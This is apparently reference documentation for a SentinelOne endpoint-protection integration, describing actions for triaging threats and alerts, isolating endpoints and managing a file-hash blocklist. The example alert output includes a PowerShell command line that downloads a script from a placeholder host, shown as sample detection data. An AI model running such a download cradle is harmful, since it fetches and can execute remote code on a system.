SentinelOne
App · 25 actions
Work with SentinelOne Singularity endpoint protection: find and mitigate threats, set their status and verdict, add notes and ticket ids, triage STAR alerts, isolate, reconnect and scan endpoints, manage the blocklist and read the activity log, and start workflows on new threats, alerts, endpoints and activities.
Actions
| Action | What it does |
|---|---|
| Add threat note | Add a note to one or more threats, shown on each threat in the console. |
| Add to blocklist | Block a file from running by its SHA1 or SHA256 hash, everywhere or in chosen sites or accounts. |
| Delete threat note | Delete one note from a threat. |
| Disconnect endpoints from network | Isolate endpoints from the network so a threat can't spread. |
| Get endpoint | Get one endpoint by its agent id: name, operating system, addresses, whether it is online or isolated, and its active threats. |
| Get threat | Get one threat: its name, classification, statuses, file and hashes, and the endpoint it was found on. |
| Get threat timeline | List what happened to a threat, newest first: detection, mitigation, status changes and notes. |
| List activities | Read the console's activity log, newest first: detections, mitigations, user actions and endpoint events, by type, site, threat, endpoint or time. |
| List alerts | Find alerts raised by STAR custom detection rules, newest first, by site, severity, status, verdict, time or rule, with the endpoint and process that matched. |
| List blocklist | List file hashes on the blocklist, newest first, including those set for the whole account and for sites under it. |
| List endpoints | Find endpoints running the SentinelOne agent by site, group, name, operating system, network state, online or offline, or infection, with each one's addresses, user, agent version and threats. |
| List groups | List endpoint groups, with their site and how many endpoints each has. |
| List sites | List the sites the token can see, with their account, state and license use. |
| List threat notes | List a threat's notes, newest first, with who wrote each. |
| List threats | Find threats SentinelOne detected on endpoints, newest first, by site, status, verdict, confidence, time or computer, with the file, hashes, endpoint and what was done about each. |
| Mitigate threats | Kill, quarantine, remediate, roll back or release threats from quarantine. |
| Reconnect endpoints to network | Reconnect isolated endpoints to the network. |
| Remove from blocklist | Remove items from the blocklist by their ids, so the files may run again. |
| Set threat ticket ID | Record a ticket number from another system (a service desk or SOAR case) on threats, so the console links them. |
| Start full disk scan | Start a Full Disk Scan on endpoints, which finds dormant threats and handles them by the endpoint's policy. |
| Stop full disk scan | Stop a Full Disk Scan running on endpoints. |
| Update alert status | Set alerts' incident status: unresolved, in progress or resolved. |
| Update alert verdict | Set alerts' analyst verdict: true positive, false positive, suspicious or undefined. |
| Update threat status | Set threats' incident status (unresolved, in progress or resolved), and their analyst verdict with it if you choose one. |
| Update threat verdict | Set threats' analyst verdict: true positive, false positive, suspicious or undefined. |
Add threat note
Add a note to one or more threats, shown on each threat in the console.
Inputs
- Threat IDs
threat_idslistRequired - The threats' ids, from 'List threats', a trigger or an earlier step. One or more.
- Note
texttextRequired - The note to add.
Outputs
affectednumber- How many the console changed (ids it can't see aren't counted)
texttext- The note added
threat_idslist- The threats it was asked to change
Example output
{
"affected": 1,
"text": "Ticket opened with the service desk.",
"threat_ids": [
"1234567890123456789"
]
}Add to blocklist
Block a file from running by its SHA1 or SHA256 hash, everywhere or in chosen sites or accounts.
Inputs
- SHA1 hash
sha1text - The file's SHA1 hash, 40 characters. Give this, the SHA256 hash, or both.
- SHA256 hash
sha256text - The file's SHA256 hash, 64 characters.
- Operating system
os_typetextRequired - The operating system to block it on.One of:
windows,macos,linux,windows_legacy(Windows (legacy)). - Description
descriptiontext - Why it is blocked, shown in the console. Defaults to 'Added by Lodol'.
- Sites
site_idslist - The sites the block applies to. Leave Sites and Accounts empty to block it everywhere the token reaches (global; needs a global-scope token).
- Accounts
account_idslist - The accounts the block applies to.
Outputs
idtext- The new blocklist item's id
itemobject- The new blocklist item
itemslist- Every item made, one per scope
Example output
{
"id": "1011121314151617181",
"item": {
"account_ids": [],
"created_at": "2026-11-10T14:40:00.000000Z",
"description": "Blocked after the phishing campaign",
"id": "1011121314151617181",
"os_type": "windows",
"scope_name": "Head office",
"sha1": "3395856ce81f2b7382dee72602f798b642f14140",
"sha256": "",
"site_ids": [
"2233445566778899001"
],
"source": "user",
"user_name": "Lodol automation"
},
"items": [
{
"account_ids": [],
"created_at": "2026-11-10T14:40:00.000000Z",
"description": "Blocked after the phishing campaign",
"id": "1011121314151617181",
"os_type": "windows",
"scope_name": "Head office",
"sha1": "3395856ce81f2b7382dee72602f798b642f14140",
"sha256": "",
"site_ids": [
"2233445566778899001"
],
"source": "user",
"user_name": "Lodol automation"
}
]
}Delete threat note
Delete one note from a threat.
Inputs
- Threat ID
threat_idtextRequired - The threat's id, from 'List threats', a trigger or an earlier step.
- Note ID
note_idtextRequired - The note's id, from 'List threat notes'.
Outputs
deletedtrue/false- True once it was deleted
note_idtext- The note deleted
threat_idtext- The threat
Example output
{
"deleted": true,
"note_id": "8899001122334455667",
"threat_id": "1234567890123456789"
}Disconnect endpoints from network
Isolate endpoints from the network so a threat can't spread. They still talk to the SentinelOne console, so you can investigate and reconnect them.
Inputs
- Endpoint agent IDs
agent_idslistRequired - The endpoints' agent ids, from 'List endpoints', a threat's agent_id or an earlier step. One or more.
Outputs
affectednumber- How many the console changed (ids it can't see aren't counted)
agent_idslist- The endpoints it was asked to isolate
Example output
{
"affected": 1,
"agent_ids": [
"1122334455667788990"
]
}Get endpoint
Get one endpoint by its agent id: name, operating system, addresses, whether it is online or isolated, and its active threats.
Inputs
- Endpoint agent ID
agent_idtextRequired - The endpoint's agent id, from 'List endpoints', a threat's agent_id or an earlier step.
Outputs
agentobject- The endpoint
Example output
{
"agent": {
"account_id": "4455667788990011223",
"account_name": "Acme Corp",
"active_threats": 1,
"agent_version": "24.1.2.6",
"computer_name": "ACME-LT-042",
"domain": "ACME",
"external_ip": "203.0.113.10",
"group_id": "3344556677889900112",
"group_name": "Default Group",
"id": "1122334455667788990",
"infected": true,
"ip_addresses": [
"10.0.4.17"
],
"is_active": true,
"is_decommissioned": false,
"is_up_to_date": true,
"last_active_date": "2026-11-12T09:41:00.000000Z",
"last_logged_in_user": "jdoe",
"machine_type": "laptop",
"mitigation_mode": "protect",
"model_name": "HP EliteBook 840 G9",
"network_status": "connected",
"os_name": "Windows 11 Pro",
"os_revision": "22631",
"os_type": "windows",
"registered_at": "2025-03-02T10:15:00.000000Z",
"scan_finished_at": "2026-11-09T02:41:13.000000Z",
"scan_started_at": "2026-11-09T02:00:00.000000Z",
"scan_status": "finished",
"serial_number": "5CD1234XYZ",
"site_id": "2233445566778899001",
"site_name": "Head office",
"updated_at": "2026-11-12T09:41:00.000000Z",
"uuid": "ff819e70af13be381993075eb0ce5f2f6de05be2"
}
}Get threat
Get one threat: its name, classification, statuses, file and hashes, and the endpoint it was found on.
Inputs
- Threat ID
threat_idtextRequired - The threat's id, from 'List threats', a trigger or an earlier step.
Outputs
threatobject- The threat
Example output
{
"threat": {
"account_id": "4455667788990011223",
"account_name": "Acme Corp",
"agent_id": "1122334455667788990",
"agent_network_status": "connected",
"analyst_verdict": "undefined",
"classification": "Malware",
"computer_name": "ACME-LT-042",
"confidence_level": "malicious",
"created_at": "2026-11-10T14:22:05.123456Z",
"detection_engines": [
"SentinelOne Cloud"
],
"external_ticket_id": "",
"file_path": "\\Device\\HarddiskVolume3\\Users\\jdoe\\Downloads\\invoice_2026.exe",
"group_id": "3344556677889900112",
"group_name": "Default Group",
"id": "1234567890123456789",
"identified_at": "2026-11-10T14:22:01.000000Z",
"incident_status": "unresolved",
"initiated_by": "agent_policy",
"ip_address": "10.0.4.17",
"logged_in_user": "jdoe",
"md5": "44d88612fea8a8f36de82e1278abb02f",
"mitigated_preemptively": false,
"mitigation_actions": [
{
"action": "quarantine",
"last_update": "2026-11-10T14:22:07.000000Z",
"status": "success"
}
],
"mitigation_status": "mitigated",
"name": "invoice_2026.exe",
"originator_process": "explorer.exe",
"os_type": "windows",
"process_user": "ACME\\jdoe",
"sha1": "3395856ce81f2b7382dee72602f798b642f14140",
"sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
"site_id": "2233445566778899001",
"site_name": "Head office",
"storyline": "9B6E0F1A2C3D4E5F",
"updated_at": "2026-11-10T14:23:40.456789Z"
}
}Get threat timeline
List what happened to a threat, newest first: detection, mitigation, status changes and notes.
Inputs
- Threat ID
threat_idtextRequired - The threat's id, from 'List threats', a trigger or an earlier step.
- Limit
limitnumber - How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
- Cursor
cursortext - The 'next_cursor' from the previous page, to read on.
Outputs
countnumber- How many are on this page
eventslist- The events, newest first
has_moretrue/false- True if there are more pages
next_cursortext- Pass as Cursor to read the next page; empty on the last
threat_idtext- The threat
totalnumber- How many match in all
Example output
{
"count": 1,
"events": [
{
"activity_type": 3005,
"created_at": "2026-11-10T14:22:07.000000Z",
"id": "9900112233445566778",
"primary_description": "The agent quarantined invoice_2026.exe",
"secondary_description": "",
"user_id": ""
}
],
"has_more": false,
"next_cursor": "",
"threat_id": "1234567890123456789",
"total": 1
}List activities
Read the console's activity log, newest first: detections, mitigations, user actions and endpoint events, by type, site, threat, endpoint or time.
Inputs
- Activity types
activity_typeslist - Only these kinds of activity. Leave empty for all.
- Sites
site_idslist - Only these sites. Leave empty for every site.
- Threat ID
threat_idtext - Only activities about this threat.
- Endpoint agent ID
agent_idtext - Only activities about this endpoint.
- After
created_afterdate and time - Only activities at or after this time.
- Before
created_beforedate and time - Only activities at or before this time.
- Limit
limitnumber - How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
- Cursor
cursortext - The 'next_cursor' from the previous page, to read on.
Outputs
activitieslist- The activities on this page
countnumber- How many are on this page
has_moretrue/false- True if there are more pages
next_cursortext- Pass as Cursor to read the next page; empty on the last
totalnumber- How many match in all
Example output
{
"activities": [
{
"account_id": "4455667788990011223",
"activity_type": 19,
"agent_id": "1122334455667788990",
"created_at": "2026-11-10T14:22:05.200000Z",
"data": {
"computerName": "ACME-LT-042",
"threatClassification": "Malware"
},
"group_id": "3344556677889900112",
"id": "7788990011223344556",
"primary_description": "Threat invoice_2026.exe was detected on ACME-LT-042",
"secondary_description": "Malicious file quarantined",
"site_id": "2233445566778899001",
"site_name": "Head office",
"threat_id": "1234567890123456789",
"user_id": ""
}
],
"count": 1,
"has_more": false,
"next_cursor": "",
"total": 1
}List alerts
Find alerts raised by STAR custom detection rules, newest first, by site, severity, status, verdict, time or rule, with the endpoint and process that matched.
Inputs
- Sites
site_idslist - Only these sites. Leave empty for every site.
- Severities
severitieslist - Only alerts of these severities.One or more of:
Critical,High,Medium,Low,Info. - Incident statuses
incident_statuseslist - Only alerts with these incident statuses.One or more of:
unresolved,in_progress(In progress),resolved. - Analyst verdicts
analyst_verdictslist - Only alerts with these verdicts.One or more of:
true_positive(True positive),false_positive(False positive),suspicious,undefined. - Created after
created_afterdate and time - Only alerts created at or after this time.
- Created before
created_beforedate and time - Only alerts created at or before this time.
- Rule name contains
rule_nametext - Only alerts from rules whose name contains this.
- Search
searchtext - Words to look for in any of the alert's fields.
- Limit
limitnumber - How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
- Cursor
cursortext - The 'next_cursor' from the previous page, to read on.
Outputs
alertslist- The alerts on this page
countnumber- How many are on this page
has_moretrue/false- True if there are more pages
next_cursortext- Pass as Cursor to read the next page; empty on the last
totalnumber- How many match in all
Example output
{
"alerts": [
{
"account_id": "4455667788990011223",
"agent_uuid": "ff819e70af13be381993075eb0ce5f2f6de05be2",
"analyst_verdict": "undefined",
"computer_name": "ACME-LT-042",
"created_at": "2026-11-10T15:01:12.000000Z",
"event_type": "Process Creation",
"id": "5566778899001122334",
"incident_status": "unresolved",
"os_family": "windows",
"process_command_line": "powershell -c iwr http://example.com/a.ps1",
"process_file_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"process_name": "powershell.exe",
"process_sha1": "6cbce4a295c163791b60fc23d285e6d84f28ee4c",
"process_sha256": "de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c",
"process_user": "ACME\\jdoe",
"reported_at": "2026-11-10T15:01:20.000000Z",
"rule_description": "PowerShell fetched a file from the internet",
"rule_id": "6677889900112233445",
"rule_name": "Suspicious PowerShell download",
"severity": "High",
"site_id": "2233445566778899001",
"source": "STAR",
"storyline": "9B6E0F1A2C3D4E5F",
"updated_at": "2026-11-10T15:01:20.000000Z"
}
],
"count": 1,
"has_more": false,
"next_cursor": "",
"total": 1
}List blocklist
List file hashes on the blocklist, newest first, including those set for the whole account and for sites under it.
Inputs
- Sites
site_idslist - The sites the block applies to. Leave Sites and Accounts empty to block it everywhere the token reaches (global; needs a global-scope token).
- Accounts
account_idslist - The accounts the block applies to.
- Hash contains
hash_containstext - Only hashes containing this.
- Operating systems
os_typeslist - Only these operating systems.One or more of:
windows,macos,linux,windows_legacy(Windows (legacy)). - Limit
limitnumber - How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
- Cursor
cursortext - The 'next_cursor' from the previous page, to read on.
Outputs
countnumber- How many are on this page
has_moretrue/false- True if there are more pages
itemslist- The blocklist items on this page
next_cursortext- Pass as Cursor to read the next page; empty on the last
totalnumber- How many match in all
Example output
{
"count": 1,
"has_more": false,
"items": [
{
"account_ids": [],
"created_at": "2026-11-10T14:40:00.000000Z",
"description": "Blocked after the phishing campaign",
"id": "1011121314151617181",
"os_type": "windows",
"scope_name": "Head office",
"sha1": "3395856ce81f2b7382dee72602f798b642f14140",
"sha256": "",
"site_ids": [
"2233445566778899001"
],
"source": "user",
"user_name": "Lodol automation"
}
],
"next_cursor": "",
"total": 1
}List endpoints
Find endpoints running the SentinelOne agent by site, group, name, operating system, network state, online or offline, or infection, with each one's addresses, user, agent version and threats.
Inputs
- Sites
site_idslist - Only these sites. Leave empty for every site.
- Groups
group_idslist - Only endpoints in these groups. Leave empty for every group.
- Computer name contains
computer_nametext - Only endpoints whose computer name contains this.
- Operating systems
os_typeslist - Only these operating systems.One or more of:
windows,macos,linux,windows_legacy(Windows (legacy)). - Network statuses
network_statuseslist - Only endpoints in these network states. Disconnected means isolated.One or more of:
connected,disconnected(Disconnected (isolated)),connecting(Reconnecting),disconnecting. - Online or offline
activitytext - Only endpoints that have checked in lately (online), or haven't (offline). Leave empty for both.One of:
online,offline. - Only infected
infected_onlytrue/false - Only endpoints with at least one active threat.
- Search
searchtext - Words to match in any of the endpoint's details, such as an IP address or user name.
- Limit
limitnumber - How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
- Cursor
cursortext - The 'next_cursor' from the previous page, to read on.
Outputs
agentslist- The endpoints on this page
countnumber- How many are on this page
has_moretrue/false- True if there are more pages
next_cursortext- Pass as Cursor to read the next page; empty on the last
totalnumber- How many match in all
Example output
{
"agents": [
{
"account_id": "4455667788990011223",
"account_name": "Acme Corp",
"active_threats": 1,
"agent_version": "24.1.2.6",
"computer_name": "ACME-LT-042",
"domain": "ACME",
"external_ip": "203.0.113.10",
"group_id": "3344556677889900112",
"group_name": "Default Group",
"id": "1122334455667788990",
"infected": true,
"ip_addresses": [
"10.0.4.17"
],
"is_active": true,
"is_decommissioned": false,
"is_up_to_date": true,
"last_active_date": "2026-11-12T09:41:00.000000Z",
"last_logged_in_user": "jdoe",
"machine_type": "laptop",
"mitigation_mode": "protect",
"model_name": "HP EliteBook 840 G9",
"network_status": "connected",
"os_name": "Windows 11 Pro",
"os_revision": "22631",
"os_type": "windows",
"registered_at": "2025-03-02T10:15:00.000000Z",
"scan_finished_at": "2026-11-09T02:41:13.000000Z",
"scan_started_at": "2026-11-09T02:00:00.000000Z",
"scan_status": "finished",
"serial_number": "5CD1234XYZ",
"site_id": "2233445566778899001",
"site_name": "Head office",
"updated_at": "2026-11-12T09:41:00.000000Z",
"uuid": "ff819e70af13be381993075eb0ce5f2f6de05be2"
}
],
"count": 1,
"has_more": false,
"next_cursor": "",
"total": 1
}List groups
List endpoint groups, with their site and how many endpoints each has.
Inputs
- Sites
site_idslist - Only groups in these sites. Leave empty for every site.
- Search
searchtext - Words to match in a group's name or description.
- Limit
limitnumber - How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
- Cursor
cursortext - The 'next_cursor' from the previous page, to read on.
Outputs
countnumber- How many are on this page
groupslist- The groups on this page
has_moretrue/false- True if there are more pages
next_cursortext- Pass as Cursor to read the next page; empty on the last
totalnumber- How many match in all
Example output
{
"count": 1,
"groups": [
{
"created_at": "2024-01-15T09:00:00.000000Z",
"description": "",
"id": "3344556677889900112",
"is_default": true,
"name": "Default Group",
"site_id": "2233445566778899001",
"total_agents": 120,
"type": "static"
}
],
"has_more": false,
"next_cursor": "",
"total": 1
}List sites
List the sites the token can see, with their account, state and license use.
Inputs
- Search
searchtext - Words to match in a site's name or description.
- Only active
active_onlytrue/false - Leave out expired and deleted sites.
- Limit
limitnumber - How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
- Cursor
cursortext - The 'next_cursor' from the previous page, to read on.
Outputs
countnumber- How many are on this page
has_moretrue/false- True if there are more pages
next_cursortext- Pass as Cursor to read the next page; empty on the last
siteslist- The sites on this page
totalnumber- How many match in all
Example output
{
"count": 1,
"has_more": false,
"next_cursor": "",
"sites": [
{
"account_id": "4455667788990011223",
"account_name": "Acme Corp",
"active_licenses": 120,
"created_at": "2024-01-15T09:00:00.000000Z",
"description": "",
"id": "2233445566778899001",
"is_default": false,
"name": "Head office",
"site_type": "Paid",
"state": "active",
"total_licenses": 150
}
],
"total": 1
}List threat notes
List a threat's notes, newest first, with who wrote each.
Inputs
- Threat ID
threat_idtextRequired - The threat's id, from 'List threats', a trigger or an earlier step.
- Limit
limitnumber - How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
- Cursor
cursortext - The 'next_cursor' from the previous page, to read on.
Outputs
countnumber- How many are on this page
has_moretrue/false- True if there are more pages
next_cursortext- Pass as Cursor to read the next page; empty on the last
noteslist- The notes, newest first
threat_idtext- The threat
totalnumber- How many match in all
Example output
{
"count": 1,
"has_more": false,
"next_cursor": "",
"notes": [
{
"created_at": "2026-11-10T14:30:00.000000Z",
"creator": "Lodol automation",
"id": "8899001122334455667",
"text": "Ticket opened with the service desk.",
"updated_at": "2026-11-10T14:30:00.000000Z"
}
],
"threat_id": "1234567890123456789",
"total": 1
}List threats
Find threats SentinelOne detected on endpoints, newest first, by site, status, verdict, confidence, time or computer, with the file, hashes, endpoint and what was done about each.
Inputs
- Sites
site_idslist - Only these sites. Leave empty for every site.
- Incident statuses
incident_statuseslist - Only threats with these incident statuses.One or more of:
unresolved,in_progress(In progress),resolved. - Mitigation statuses
mitigation_statuseslist - Only threats with these mitigation statuses.One or more of:
not_mitigated(Not mitigated),mitigated,marked_as_benign(Marked as benign). - Confidence levels
confidence_levelslist - Only threats SentinelOne rates this way.One or more of:
malicious,suspicious. - Analyst verdicts
analyst_verdictslist - Only threats with these verdicts.One or more of:
true_positive(True positive),false_positive(False positive),suspicious,undefined. - Detected after
created_afterdate and time - Only threats detected at or after this time.
- Detected before
created_beforedate and time - Only threats detected at or before this time.
- Computer name contains
computer_nametext - Only threats on endpoints whose name contains this.
- Search
searchtext - Words to look for in the threat's details, hash, file path, computer name or command line.
- Limit
limitnumber - How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
- Cursor
cursortext - The 'next_cursor' from the previous page, to read on.
Outputs
countnumber- How many are on this page
has_moretrue/false- True if there are more pages
next_cursortext- Pass as Cursor to read the next page; empty on the last
threatslist- The threats on this page
totalnumber- How many match in all
Example output
{
"count": 1,
"has_more": false,
"next_cursor": "",
"threats": [
{
"account_id": "4455667788990011223",
"account_name": "Acme Corp",
"agent_id": "1122334455667788990",
"agent_network_status": "connected",
"analyst_verdict": "undefined",
"classification": "Malware",
"computer_name": "ACME-LT-042",
"confidence_level": "malicious",
"created_at": "2026-11-10T14:22:05.123456Z",
"detection_engines": [
"SentinelOne Cloud"
],
"external_ticket_id": "",
"file_path": "\\Device\\HarddiskVolume3\\Users\\jdoe\\Downloads\\invoice_2026.exe",
"group_id": "3344556677889900112",
"group_name": "Default Group",
"id": "1234567890123456789",
"identified_at": "2026-11-10T14:22:01.000000Z",
"incident_status": "unresolved",
"initiated_by": "agent_policy",
"ip_address": "10.0.4.17",
"logged_in_user": "jdoe",
"md5": "44d88612fea8a8f36de82e1278abb02f",
"mitigated_preemptively": false,
"mitigation_actions": [
{
"action": "quarantine",
"last_update": "2026-11-10T14:22:07.000000Z",
"status": "success"
}
],
"mitigation_status": "mitigated",
"name": "invoice_2026.exe",
"originator_process": "explorer.exe",
"os_type": "windows",
"process_user": "ACME\\jdoe",
"sha1": "3395856ce81f2b7382dee72602f798b642f14140",
"sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
"site_id": "2233445566778899001",
"site_name": "Head office",
"storyline": "9B6E0F1A2C3D4E5F",
"updated_at": "2026-11-10T14:23:40.456789Z"
}
],
"total": 1
}Mitigate threats
Kill, quarantine, remediate, roll back or release threats from quarantine. The agents carry it out and report back in the threat's mitigation actions.
Inputs
- Threat IDs
threat_idslistRequired - The threats' ids, from 'List threats', a trigger or an earlier step. One or more.
- Mitigation action
mitigation_actiontextRequired - What to do. Remediate works on Windows and macOS, roll back on Windows only.One of:
kill(Kill the process),quarantine(Quarantine the file),remediate(Remediate (undo its changes; Windows and macOS)),rollback-remediation(Roll back the endpoint (Windows only)),un-quarantine(Release the file from quarantine).
Outputs
affectednumber- How many the console changed (ids it can't see aren't counted)
mitigation_actiontext- The mitigation action sent
threat_idslist- The threats it was asked to change
Example output
{
"affected": 1,
"mitigation_action": "quarantine",
"threat_ids": [
"1234567890123456789"
]
}Reconnect endpoints to network
Reconnect isolated endpoints to the network.
Inputs
- Endpoint agent IDs
agent_idslistRequired - The endpoints' agent ids, from 'List endpoints', a threat's agent_id or an earlier step. One or more.
Outputs
affectednumber- How many the console changed (ids it can't see aren't counted)
agent_idslist- The endpoints it was asked to reconnect
Example output
{
"affected": 1,
"agent_ids": [
"1122334455667788990"
]
}Remove from blocklist
Remove items from the blocklist by their ids, so the files may run again.
Inputs
- Blocklist item IDs
item_idslistRequired - The items' ids, from 'List blocklist' or 'Add to blocklist'.
Outputs
affectednumber- How many the console changed (ids it can't see aren't counted)
item_idslist- The items it was asked to remove
Example output
{
"affected": 1,
"item_ids": [
"1011121314151617181"
]
}Set threat ticket ID
Record a ticket number from another system (a service desk or SOAR case) on threats, so the console links them.
Inputs
- Threat IDs
threat_idslistRequired - The threats' ids, from 'List threats', a trigger or an earlier step. One or more.
- Ticket ID
external_ticket_idtextRequired - The ticket's number or id, such as INC0012345.
Outputs
affectednumber- How many the console changed (ids it can't see aren't counted)
external_ticket_idtext- The ticket id set
threat_idslist- The threats it was asked to change
Example output
{
"affected": 1,
"external_ticket_id": "INC0012345",
"threat_ids": [
"1234567890123456789"
]
}Start full disk scan
Start a Full Disk Scan on endpoints, which finds dormant threats and handles them by the endpoint's policy.
Inputs
- Endpoint agent IDs
agent_idslistRequired - The endpoints' agent ids, from 'List endpoints', a threat's agent_id or an earlier step. One or more.
Outputs
affectednumber- How many the console changed (ids it can't see aren't counted)
agent_idslist- The endpoints it was asked to scan
Example output
{
"affected": 1,
"agent_ids": [
"1122334455667788990"
]
}Stop full disk scan
Stop a Full Disk Scan running on endpoints.
Inputs
- Endpoint agent IDs
agent_idslistRequired - The endpoints' agent ids, from 'List endpoints', a threat's agent_id or an earlier step. One or more.
Outputs
affectednumber- How many the console changed (ids it can't see aren't counted)
agent_idslist- The endpoints it was asked to stop scanning
Example output
{
"affected": 1,
"agent_ids": [
"1122334455667788990"
]
}Update alert status
Set alerts' incident status: unresolved, in progress or resolved.
Inputs
- Alert IDs
alert_idslistRequired - The alerts' ids, from 'List alerts', a trigger or an earlier step. One or more.
- Incident status
incident_statustextRequired - The status to set.One of:
unresolved,in_progress(In progress),resolved.
Outputs
affectednumber- How many the console changed (ids it can't see aren't counted)
alert_idslist- The alerts it was asked to change
incident_statustext- The status set
Example output
{
"affected": 1,
"alert_ids": [
"5566778899001122334"
],
"incident_status": "in_progress"
}Update alert verdict
Set alerts' analyst verdict: true positive, false positive, suspicious or undefined.
Inputs
- Alert IDs
alert_idslistRequired - The alerts' ids, from 'List alerts', a trigger or an earlier step. One or more.
- Analyst verdict
analyst_verdicttextRequired - The verdict to set.One of:
true_positive(True positive),false_positive(False positive),suspicious,undefined.
Outputs
affectednumber- How many the console changed (ids it can't see aren't counted)
alert_idslist- The alerts it was asked to change
analyst_verdicttext- The verdict set
Example output
{
"affected": 1,
"alert_ids": [
"5566778899001122334"
],
"analyst_verdict": "false_positive"
}Update threat status
Set threats' incident status (unresolved, in progress or resolved), and their analyst verdict with it if you choose one.
Inputs
- Threat IDs
threat_idslistRequired - The threats' ids, from 'List threats', a trigger or an earlier step. One or more.
- Incident status
incident_statustextRequired - The status to set.One of:
unresolved,in_progress(In progress),resolved. - Analyst verdict
analyst_verdicttext - A verdict to set at the same time. Leave empty to keep it.One of:
true_positive(True positive),false_positive(False positive),suspicious,undefined.
Outputs
affectednumber- How many the console changed (ids it can't see aren't counted)
incident_statustext- The status set
threat_idslist- The threats it was asked to change
Example output
{
"affected": 1,
"incident_status": "resolved",
"threat_ids": [
"1234567890123456789"
]
}Update threat verdict
Set threats' analyst verdict: true positive, false positive, suspicious or undefined.
Inputs
- Threat IDs
threat_idslistRequired - The threats' ids, from 'List threats', a trigger or an earlier step. One or more.
- Analyst verdict
analyst_verdicttextRequired - The verdict to set.One of:
true_positive(True positive),false_positive(False positive),suspicious,undefined.
Outputs
affectednumber- How many the console changed (ids it can't see aren't counted)
analyst_verdicttext- The verdict set
threat_idslist- The threats it was asked to change
Example output
{
"affected": 1,
"analyst_verdict": "true_positive",
"threat_ids": [
"1234567890123456789"
]
}